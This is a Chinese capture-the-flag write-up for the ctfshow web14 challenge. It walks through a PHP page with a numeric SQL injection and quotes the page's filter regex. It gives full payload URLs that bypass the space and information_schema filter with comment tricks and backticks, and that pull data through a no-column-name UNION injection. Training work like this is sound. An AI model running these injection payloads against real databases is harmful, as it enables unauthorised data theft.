ctfshow-web14

0x00 前言

  • CTF 加解密合集
  • CTF Web合集

0x01 题目

ctfshow-web14_第1张图片

0x02 Write Up

首先看到这个,swith,那么直接输入4,则会打印$url的值

ctfshow-web14_第2张图片
然后访问一下

ctfshow-web14_第3张图片
查看一下,发现完整的请求是http://c7ff9ed6-dccd-4d01-907a-f1c61c016c15.challenge.ctf.show/here_1s_your_f1ag.php?query=1


查看注释,发现还有一些内容被处理了:

	if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){
		die('@A@');
	}

首先先测试注入,发现是数字型的,并且空格被处理了,所以直接绕过就行。并且这里看到这里处理的内容就是不让你去读表,类似于这种题目,要嘛就是让你从数据库里找,要嘛就是从文件里找。

这道题就是,从文件里找。

在index.php中包含了一个secret.php,先读这个文件试试,这里有一个小知识,apache的默认路径是/var/www/html/
ctfshow-web14_第4张图片
这里可以看到flag实际上是在:/real_flag_is_here,所以读这个文件

ctfshow-web14_第5张图片

当然我们也可以常规的去查一下,通过如下语句进行绕过:

http://c7ff9ed6-dccd-4d01-907a-f1c61c016c15.challenge.ctf.show/here_1s_your_f1ag.php?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database();#

查到了表名:


然后通过无列名注入的方式可以看到提示的数据:

http://c7ff9ed6-dccd-4d01-907a-f1c61c016c15.challenge.ctf.show/here_1s_your_f1ag.php?query=-1 union select group_concat(b) from (select 1,2,3 as b union select  * from content)l #

ctfshow-web14_第6张图片

以上

你可能感兴趣的:(安全)